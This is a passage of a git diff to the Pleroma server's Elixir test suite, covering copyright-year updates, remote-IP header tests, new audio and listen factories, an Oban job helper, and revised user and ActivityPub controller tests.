headers" do +    Pleroma.Config.put(RemoteIp, enabled: true, headers: ["cf-connecting-ip"]) + +    conn = +      conn(:get, "/") +      |> put_req_header("x-forwarded-for", "1.1.1.1") +      |> RemoteIp.call(nil) + +    refute conn.remote_ip == {1, 1, 1, 1} + +    conn = +      conn(:get, "/") +      |> put_req_header("cf-connecting-ip", "1.1.1.1") +      |> RemoteIp.call(nil) + +    assert conn.remote_ip == {1, 1, 1, 1} +  end + +  test "custom proxies" do +    Pleroma.Config.put(RemoteIp, enabled: true) + +    conn = +      conn(:get, "/") +      |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") +      |> RemoteIp.call(nil) + +    refute conn.remote_ip == {1, 1, 1, 1} + +    Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.0/20"]) + +    conn = +      conn(:get, "/") +      |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") +      |> RemoteIp.call(nil) + +    assert conn.remote_ip == {1, 1, 1, 1} +  end +end diff --git a/test/plugs/set_format_plug_test.exs b/test/plugs/set_format_plug_test.exs index bb21956bb..27c026fdd 100644 --- a/test/plugs/set_format_plug_test.exs +++ b/test/plugs/set_format_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Plugs.SetFormatPlugTest do diff --git a/test/plugs/set_locale_plug_test.exs b/test/plugs/set_locale_plug_test.exs index b6c4c1cea..0aaeedc1e 100644 --- a/test/plugs/set_locale_plug_test.exs +++ b/test/plugs/set_locale_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Plugs.SetLocalePlugTest do diff --git a/test/plugs/uploaded_media_plug_test.exs b/test/plugs/uploaded_media_plug_test.exs index 49cf5396a..5ba963139 100644 --- a/test/plugs/uploaded_media_plug_test.exs +++ b/test/plugs/uploaded_media_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.UploadedMediaPlugTest do diff --git a/test/scheduled_activity_test.exs b/test/scheduled_activity_test.exs index edc7cc3f9..dcf12fb49 100644 --- a/test/scheduled_activity_test.exs +++ b/test/scheduled_activity_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.ScheduledActivityTest do diff --git a/test/support/captcha_mock.ex b/test/support/captcha_mock.ex index ef4e68bc5..65ca6b3bd 100644 --- a/test/support/captcha_mock.ex +++ b/test/support/captcha_mock.ex @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Captcha.Mock do diff --git a/test/support/conn_case.ex b/test/support/conn_case.ex index ec5892ff5..9897f72ce 100644 --- a/test/support/conn_case.ex +++ b/test/support/conn_case.ex @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.ConnCase do @@ -40,6 +40,10 @@ defmodule Pleroma.Web.ConnCase do        Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})      end +    if tags[:needs_streamer] do +      start_supervised(Pleroma.Web.Streamer.supervisor()) +    end +      {:ok, conn: Phoenix.ConnTest.build_conn()}    end  end diff --git a/test/support/data_case.ex b/test/support/data_case.ex index f3d98e7e3..4ffcbac9e 100644 --- a/test/support/data_case.ex +++ b/test/support/data_case.ex @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.DataCase do @@ -39,6 +39,10 @@ defmodule Pleroma.DataCase do        Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})      end +    if tags[:needs_streamer] do +      start_supervised(Pleroma.Web.Streamer.supervisor()) +    end +      :ok    end diff --git a/test/support/factory.ex b/test/support/factory.ex index 719115003..4f3244025 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -71,6 +71,47 @@ defmodule Pleroma.Factory do      }    end +  def audio_factory(attrs \\ %{}) do +    text = sequence(:text, &"lain radio episode #{&1}") + +    user = attrs[:user] || insert(:user) + +    data = %{ +      "type" => "Audio", +      "id" => Pleroma.Web.ActivityPub.Utils.generate_object_id(), +      "artist" => "lain", +      "title" => text, +      "album" => "lain radio", +      "to" => ["https://www.w3.org/ns/activitystreams#Public"], +      "published" => DateTime.utc_now() |> DateTime.to_iso8601(), +      "actor" => user.ap_id, +      "length" => 180_000 +    } + +    %Pleroma.Object{ +      data: merge_attributes(data, Map.get(attrs, :data, %{})) +    } +  end + +  def listen_factory do +    audio = insert(:audio) + +    data = %{ +      "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), +      "type" => "Listen", +      "actor" => audio.data["actor"], +      "to" => audio.data["to"], +      "object" => audio.data, +      "published" => audio.data["published"] +    } + +    %Pleroma.Activity{ +      data: data, +      actor: data["actor"], +      recipients: data["to"] +    } +  end +    def direct_note_factory do      user2 = insert(:user) diff --git a/test/support/helpers.ex b/test/support/helpers.ex index a601b3ec8..ce39dd9d8 100644 --- a/test/support/helpers.ex +++ b/test/support/helpers.ex @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Tests.Helpers do diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex index 231e7c498..5506c0626 100644 --- a/test/support/http_request_mock.ex +++ b/test/support/http_request_mock.ex @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule HttpRequestMock do @@ -1004,6 +1004,10 @@ defmodule HttpRequestMock do      {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sjw.json")}}    end +  def get("https://patch.cx/users/rin", _, _, _) do +    {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/rin.json")}} +  end +    def get(url, query, body, headers) do      {:error,       "Mock response not implemented for GET #{inspect(url)}, #{query}, #{inspect(body)}, #{ diff --git a/test/support/mrf_module_mock.ex b/test/support/mrf_module_mock.ex index 12c7e22bc..632c7ff1d 100644 --- a/test/support/mrf_module_mock.ex +++ b/test/support/mrf_module_mock.ex @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule MRFModuleMock do diff --git a/test/support/oban_helpers.ex b/test/support/oban_helpers.ex new file mode 100644 index 000000000..72792c064 --- /dev/null +++ b/test/support/oban_helpers.ex @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Tests.ObanHelpers do +  @moduledoc """ +  Oban test helpers. +  """ + +  alias Pleroma.Repo + +  def perform_all do +    Oban.Job +    |> Repo.all() +    |> perform() +  end + +  def perform(%Oban.Job{} = job) do +    res = apply(String.to_existing_atom("Elixir." <> job.worker), :perform, [job.args, job]) +    Repo.delete(job) +    res +  end + +  def perform(jobs) when is_list(jobs) do +    for job <- jobs, do: perform(job) +  end + +  def member?(%{} = job_args, jobs) when is_list(jobs) do +    Enum.any?(jobs, fn job -> +      member?(job_args, job.args) +    end) +  end + +  def member?(%{} = test_attrs, %{} = attrs) do +    Enum.all?( +      test_attrs, +      fn {k, _v} -> member?(test_attrs[k], attrs[k]) end +    ) +  end + +  def member?(x, y), do: x == y +end diff --git a/test/support/web_push_http_client_mock.ex b/test/support/web_push_http_client_mock.ex index d8accd21c..1d6ccff7e 100644 --- a/test/support/web_push_http_client_mock.ex +++ b/test/support/web_push_http_client_mock.ex @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.WebPushHttpClientMock do diff --git a/test/tasks/database_test.exs b/test/tasks/database_test.exs index a9925c361..b63dcac00 100644 --- a/test/tasks/database_test.exs +++ b/test/tasks/database_test.exs @@ -77,12 +77,10 @@ defmodule Mix.Tasks.Pleroma.DatabaseTest do        assert length(following) == 2        assert info.follower_count == 0 -      info_cng = Ecto.Changeset.change(info, %{follower_count: 3}) -        {:ok, user} =          user          |> Ecto.Changeset.change(%{following: following ++ following}) -        |> Ecto.Changeset.put_embed(:info, info_cng) +        |> User.change_info(&Ecto.Changeset.change(&1, %{follower_count: 3}))          |> Repo.update()        assert length(user.following) == 4 diff --git a/test/tasks/digest_test.exs b/test/tasks/digest_test.exs index 4bfa1fb93..96d762685 100644 --- a/test/tasks/digest_test.exs +++ b/test/tasks/digest_test.exs @@ -4,6 +4,7 @@ defmodule Mix.Tasks.Pleroma.DigestTest do    import Pleroma.Factory    import Swoosh.TestAssertions +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.Web.CommonAPI    setup_all do @@ -39,6 +40,8 @@ defmodule Mix.Tasks.Pleroma.DigestTest do        :ok = Mix.Tasks.Pleroma.Digest.run(["test", user2.nickname, yesterday_date]) +      ObanHelpers.perform_all() +        assert_receive {:mix_shell, :info, [message]}        assert message =~ "Digest email have been sent" diff --git a/test/tasks/ecto/migrate_test.exs b/test/tasks/ecto/migrate_test.exs index 0538a7b40..42f6cbf47 100644 --- a/test/tasks/ecto/migrate_test.exs +++ b/test/tasks/ecto/migrate_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-onl  defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs index 70986374e..6d7eed4c1 100644 --- a/test/tasks/instance_test.exs +++ b/test/tasks/instance_test.exs @@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do    setup do      File.mkdir_p!(tmp_path()) -    on_exit(fn -> File.rm_rf(tmp_path()) end) + +    on_exit(fn -> +      File.rm_rf(tmp_path()) +      static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/") + +      if File.exists?(static_dir) do +        File.rm_rf(Path.join(static_dir, "robots.txt")) +      end +    end) +      :ok    end diff --git a/test/tasks/relay_test.exs b/test/tasks/relay_test.exs index 7bde56606..c866608ab 100644 --- a/test/tasks/relay_test.exs +++ b/test/tasks/relay_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Mix.Tasks.Pleroma.RelayTest do diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs index 2b9453042..cf12d9ed6 100644 --- a/test/tasks/user_test.exs +++ b/test/tasks/user_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Mix.Tasks.Pleroma.UserTest do diff --git a/test/test_helper.exs b/test/test_helper.exs index a927b2c3d..c8dbee010 100644 --- a/test/test_helper.exs +++ b/test/test_helper.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  os_exclude = if :os.type() == {:unix, :darwin}, do: [skip_on_mac: true], else: [] @@ -7,3 +7,8 @@ ExUnit.start(exclude: os_exclude)  Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, :manual)  Mox.defmock(Pleroma.ReverseProxy.ClientMock, for: Pleroma.ReverseProxy.Client)  {:ok, _} = Application.ensure_all_started(:ex_machina) + +ExUnit.after_suite(fn _results -> +  uploads = Pleroma.Config.get([Pleroma.Uploaders.Local, :uploads], "test/uploads") +  File.rm_rf!(uploads) +end) diff --git a/test/upload_test.exs b/test/upload_test.exs index 6721fe82e..0ca5ebced 100644 --- a/test/upload_test.exs +++ b/test/upload_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.UploadTest do diff --git a/test/user_search_test.exs b/test/user_search_test.exs index 48ce973ad..f7ab31287 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.UserSearchTest do diff --git a/test/user_test.exs b/test/user_test.exs index ed8cdbe31..126bd69e8 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.UserTest do @@ -7,14 +7,16 @@ defmodule Pleroma.UserTest do    alias Pleroma.Builders.UserBuilder    alias Pleroma.Object    alias Pleroma.Repo +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.Web.ActivityPub.ActivityPub    alias Pleroma.Web.CommonAPI    use Pleroma.DataCase +  use Oban.Testing, repo: Pleroma.Repo -  import Pleroma.Factory    import Mock +  import Pleroma.Factory    setup_all do      Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) @@ -72,8 +74,8 @@ defmodule Pleroma.UserTest do      CommonAPI.follow(follower, unlocked)      CommonAPI.follow(follower, locked) -    assert {:ok, []} = User.get_follow_requests(unlocked) -    assert {:ok, [activity]} = User.get_follow_requests(locked) +    assert [] = User.get_follow_requests(unlocked) +    assert [activity] = User.get_follow_requests(locked)      assert activity    end @@ -88,7 +90,7 @@ defmodule Pleroma.UserTest do      CommonAPI.follow(accepted_follower, locked)      User.follow(accepted_follower, locked) -    assert {:ok, [activity]} = User.get_follow_requests(locked) +    assert [activity] = User.get_follow_requests(locked)      assert activity    end @@ -97,10 +99,10 @@ defmodule Pleroma.UserTest do      follower = insert(:user)      CommonAPI.follow(follower, followed) -    assert {:ok, [_activity]} = User.get_follow_requests(followed) +    assert [_activity] = User.get_follow_requests(followed)      {:ok, _follower} = User.block(followed, follower) -    assert {:ok, []} = User.get_follow_requests(followed) +    assert [] = User.get_follow_requests(followed)    end    test "follow_all follows mutliple users" do @@ -558,7 +560,7 @@ defmodule Pleroma.UserTest do      test "it enforces the fqn format for nicknames" do        cs = User.remote_user_creation(%{@valid_remote | nickname: "bla"}) -      assert cs.changes.local == false +      assert Ecto.Changeset.get_field(cs, :local) == false        assert cs.changes.avatar        refute cs.valid?      end @@ -570,22 +572,6 @@ defmodule Pleroma.UserTest do          refute cs.valid?        end)      end - -    test "it restricts some sizes" do -      bio_limit = Pleroma.Config.get([:instance, :user_bio_length], 5000) -      name_limit = Pleroma.Config.get([:instance, :user_name_length], 100) - -      [bio: bio_limit, name: name_limit] -      |> Enum.each(fn {field, size} -> -        string = String.pad_leading(".", size) -        cs = User.remote_user_creation(Map.put(@valid_remote, field, string)) -        assert cs.valid? - -        string = String.pad_leading(".", size + 1) -        cs = User.remote_user_creation(Map.put(@valid_remote, field, string)) -        refute cs.valid? -      end) -    end    end    describe "followers and friends" do @@ -598,7 +584,7 @@ defmodule Pleroma.UserTest do        {:ok, follower_one} = User.follow(follower_one, user)        {:ok, follower_two} = User.follow(follower_two, user) -      {:ok, res} = User.get_followers(user) +      res = User.get_followers(user)        assert Enum.member?(res, follower_one)        assert Enum.member?(res, follower_two) @@ -614,7 +600,7 @@ defmodule Pleroma.UserTest do        {:ok, user} = User.follow(user, followed_one)        {:ok, user} = User.follow(user, followed_two) -      {:ok, res} = User.get_friends(user) +      res = User.get_friends(user)        followed_one = User.get_cached_by_ap_id(followed_one.ap_id)        followed_two = User.get_cached_by_ap_id(followed_two.ap_id) @@ -725,7 +711,9 @@ defmodule Pleroma.UserTest do          user3.nickname        ] -      result = User.follow_import(user1, identifiers) +      {:ok, job} = User.follow_import(user1, identifiers) +      result = ObanHelpers.perform(job) +        assert is_list(result)        assert result == [user2, user3]      end @@ -936,7 +924,9 @@ defmodule Pleroma.UserTest do          user3.nickname        ] -      result = User.blocks_import(user1, identifiers) +      {:ok, job} = User.blocks_import(user1, identifiers) +      result = ObanHelpers.perform(job) +        assert is_list(result)        assert result == [user2, user3]      end @@ -985,7 +975,7 @@ defmodule Pleroma.UserTest do        info = User.get_cached_user_info(user2)        assert info.follower_count == 0 -      assert {:ok, []} = User.get_followers(user2) +      assert [] = User.get_followers(user2)      end      test "hide a user from friends" do @@ -1001,7 +991,7 @@ defmodule Pleroma.UserTest do        assert info.following_count == 0        assert User.following_count(user2) == 0 -      assert {:ok, []} = User.get_friends(user2) +      assert [] = User.get_friends(user2)      end      test "hide a user's statuses from timelines and notifications" do @@ -1044,7 +1034,7 @@ defmodule Pleroma.UserTest do      test ".delete_user_activities deletes all create activities", %{user: user} do        {:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"}) -      {:ok, _} = User.delete_user_activities(user) +      User.delete_user_activities(user)        # TODO: Remove favorites, repeats, delete activities.        refute Activity.get_by_id(activity.id) @@ -1053,7 +1043,9 @@ defmodule Pleroma.UserTest do      test "it deletes deactivated user" do        {:ok, user} = insert(:user, info: %{deactivated: true}) |> User.set_cache() -      assert {:ok, _} = User.delete(user) +      {:ok, job} = User.delete(user) +      {:ok, _user} = ObanHelpers.perform(job) +        refute User.get_by_id(user.id)      end @@ -1071,7 +1063,8 @@ defmodule Pleroma.UserTest do        {:ok, like_two, _} = CommonAPI.favorite(activity.id, follower)        {:ok, repeat, _} = CommonAPI.repeat(activity_two.id, user) -      {:ok, _} = User.delete(user) +      {:ok, job} = User.delete(user) +      {:ok, _user} = ObanHelpers.perform(job)        follower = User.get_cached_by_id(follower.id) @@ -1081,7 +1074,7 @@ defmodule Pleroma.UserTest do        user_activities =          user.ap_id -        |> Activity.query_by_actor() +        |> Activity.Queries.by_actor()          |> Repo.all()          |> Enum.map(fn act -> act.data["type"] end) @@ -1103,12 +1096,18 @@ defmodule Pleroma.UserTest do        {:ok, follower} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin")        {:ok, _} = User.follow(follower, user) -      {:ok, _user} = User.delete(user) - -      assert called( -               Pleroma.Web.ActivityPub.Publisher.publish_one(%{ -                 inbox: "http://mastodon.example.org/inbox" -               }) +      {:ok, job} = User.delete(user) +      {:ok, _user} = ObanHelpers.perform(job) + +      assert ObanHelpers.member?( +               %{ +                 "op" => "publish_one", +                 "params" => %{ +                   "inbox" => "http://mastodon.example.org/inbox", +                   "id" => "pleroma:fakeid" +                 } +               }, +               all_enqueued(worker: Pleroma.Workers.PublisherWorker)               )      end    end @@ -1117,11 +1116,60 @@ defmodule Pleroma.UserTest do      assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin")    end -  test "insert or update a user from given data" do -    user = insert(:user, %{nickname: "nick@name.de"}) -    data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname} +  describe "insert or update a user from given data" do +    test "with normal data" do +      user = insert(:user, %{nickname: "nick@name.de"}) +      data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname} + +      assert {:ok, %User{}} = User.insert_or_update_user(data) +    end + +    test "with overly long fields" do +      current_max_length = Pleroma.Config.get([:instance, :account_field_value_length], 255) +      user = insert(:user, nickname: "nickname@supergood.domain") + +      data = %{ +        ap_id: user.ap_id, +        name: user.name, +        nickname: user.nickname, +        info: %{ +          fields: [ +            %{"name" => "myfield", "value" => String.duplicate("h", current_max_length + 1)} +          ] +        } +      } + +      assert {:ok, %User{}} = User.insert_or_update_user(data) +    end + +    test "with an overly long bio" do +      current_max_length = Pleroma.Config.get([:instance, :user_bio_length], 5000) +      user = insert(:user, nickname: "nickname@supergood.domain") + +      data = %{ +        ap_id: user.ap_id, +        name: user.name, +        nickname: user.nickname, +        bio: String.duplicate("h", current_max_length + 1), +        info: %{} +      } + +      assert {:ok, %User{}} = User.insert_or_update_user(data) +    end + +    test "with an overly long display name" do +      current_max_length = Pleroma.Config.get([:instance, :user_name_length], 100) +      user = insert(:user, nickname: "nickname@supergood.domain") + +      data = %{ +        ap_id: user.ap_id, +        name: String.duplicate("h", current_max_length + 1), +        nickname: user.nickname, +        info: %{} +      } -    assert {:ok, %User{}} = User.insert_or_update_user(data) +      assert {:ok, %User{}} = User.insert_or_update_user(data) +    end    end    describe "per-user rich-text filtering" do @@ -1153,7 +1201,8 @@ defmodule Pleroma.UserTest do      test "User.delete() plugs any possible zombie objects" do        user = insert(:user) -      {:ok, _} = User.delete(user) +      {:ok, job} = User.delete(user) +      {:ok, _} = ObanHelpers.perform(job)        {:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") @@ -1245,9 +1294,9 @@ defmodule Pleroma.UserTest do        bio = "A.k.a. @nick@domain.com"        expected_text = -        "A.k.a. <span class='h-card'><a data-user='#{remote_user.id}' class='u-url mention' href='#{ +        ~s(A.k.a. <span class="h-card"><a data-user="#{remote_user.id}" class="u-url mention" href="#{            remote_user.ap_id -        }'>@<span>nick@domain.com</span></a></span>" +        }" rel="ugc">@<span>nick@domain.com</span></a></span>)        assert expected_text == User.parse_bio(bio, user)      end @@ -1641,4 +1690,39 @@ defmodule Pleroma.UserTest do        assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party")      end    end + +  describe "set_password_reset_pending/2" do +    setup do +      [user: insert(:user)] +    end + +    test "sets password_reset_pending to true", %{user: user} do +      %{password_reset_pending: password_reset_pending} = user.info + +      refute password_reset_pending + +      {:ok, %{info: %{password_reset_pending: password_reset_pending}}} = +        User.force_password_reset(user) + +      assert password_reset_pending +    end +  end + +  test "change_info/2" do +    user = insert(:user) +    assert user.info.hide_follows == false + +    changeset = User.change_info(user, &User.Info.profile_update(&1, %{hide_follows: true})) +    assert changeset.changes.info.changes.hide_follows == true +  end + +  test "update_info/2" do +    user = insert(:user) +    assert user.info.hide_follows == false + +    assert {:ok, _} = User.update_info(user, &User.Info.profile_update(&1, %{hide_follows: true})) + +    assert %{info: %{hide_follows: true}} = Repo.get(User, user.id) +    assert {:ok, %{info: %{hide_follows: true}}} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") +  end  end diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs index 9698c7099..ab52044ae 100644 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ b/test/web/activity_pub/activity_pub_controller_test.exs @@ -1,19 +1,24 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do    use Pleroma.Web.ConnCase +  use Oban.Testing, repo: Pleroma.Repo +    import Pleroma.Factory    alias Pleroma.Activity +  alias Pleroma.Delivery    alias Pleroma.Instances    alias Pleroma.Object +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.Web.ActivityPub.ObjectView    alias Pleroma.Web.ActivityPub.Relay    alias Pleroma.Web.ActivityPub.UserView    alias Pleroma.Web.ActivityPub.Utils    alias Pleroma.Web.CommonAPI +  alias Pleroma.Workers.ReceiverWorker    setup_all do      Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) @@ -365,7 +370,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do          |> post("/inbox", data)        assert "ok" == json_response(conn, 200) -      :timer.sleep(500) + +      ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))        assert Activity.get_by_ap_id(data["id"])      end @@ -407,7 +413,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do          |> post("/users/#{user.nickname}/inbox", data)        assert "ok" == json_response(conn, 200) -      :timer.sleep(500) +      ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))        assert Activity.get_by_ap_id(data["id"])      end @@ -436,7 +442,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do          |> post("/users/#{recipient.nickname}/inbox", data)        assert "ok" == json_response(conn, 200) -      :timer.sleep(500) +      ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))        assert Activity.get_by_ap_id(data["id"])      end @@ -473,7 +479,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do          conn          |> assign(:user, user)          |> put_req_header("accept", "application/activity+json") -        |> get("/users/#{user.nickname}/inbox") +        |> get("/users/#{user.nickname}/inbox?page=true")        assert response(conn, 200) =~ note_object.data["content"]      end @@ -526,6 +532,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do        |> post("/users/#{recipient.nickname}/inbox", data)        |> json_response(200) +      ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) +        activity = Activity.get_by_ap_id(data["id"])        assert activity.id @@ -559,7 +567,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do        conn =          conn          |> put_req_header("accept", "application/activity+json") -        |> get("/users/#{user.nickname}/outbox") +        |> get("/users/#{user.nickname}/outbox?page=true")        assert response(conn, 200) =~ note_object.data["content"]      end @@ -571,7 +579,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do        conn =          conn          |> put_req_header("accept", "application/activity+json") -        |> get("/users/#{user.nickname}/outbox") +        |> get("/users/#{user.nickname}/outbox?page=true")        assert response(conn, 200) =~ announce_activity.data["object"]      end @@ -601,6 +609,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do          |> post("/users/#{user.nickname}/outbox", data)        result = json_response(conn, 201) +        assert Activity.get_by_ap_id(result["id"])      end @@ -885,4 +894,86 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do        assert result["totalItems"] == 15      end    end + +  describe "delivery tracking" do +    test "it tracks a signed object fetch", %{conn: conn} do +      user = insert(:user, local: false) +      activity = insert(:note_activity) +      object = Object.normalize(activity) + +      object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) + +      conn +      |> put_req_header("accept", "application/activity+json") +      |> assign(:user, user) +      |> get(object_path) +      |> json_response(200) + +      assert Delivery.get(object.id, user.id) +    end + +    test "it tracks a signed activity fetch", %{conn: conn} do +      user = insert(:user, local: false) +      activity = insert(:note_activity) +      object = Object.normalize(activity) + +      activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) + +      conn +      |> put_req_header("accept", "application/activity+json") +      |> assign(:user, user) +      |> get(activity_path) +      |> json_response(200) + +      assert Delivery.get(object.id, user.id) +    end + +    test "it tracks a signed object fetch when the json is cached", %{conn: conn} do +      user = insert(:user, local: false) +      other_user = insert(:user, local: false) +      activity = insert(:note_activity) +      object = Object.normalize(activity) + +      object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) + +      conn +      |> put_req_header("accept", "application/activity+json") +      |> assign(:user, user) +      |> get(object_path) +      |> json_response(200) + +      build_conn() +      |> put_req_header("accept", "application/activity+json") +      |> assign(:user, other_user) +      |> get(object_path) +      |> json_response(200) + +      assert Delivery.get(object.id, user.id) +      assert Delivery.get(object.id, other_user.id) +    end + +    test "it tracks a signed activity fetch when the json is cached", %{conn: conn} do +      user = insert(:user, local: false) +      other_user = insert(:user, local: false) +      activity = insert(:note_activity) +      object = Object.normalize(activity) + +      activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) + +      conn +      |> put_req_header("accept", 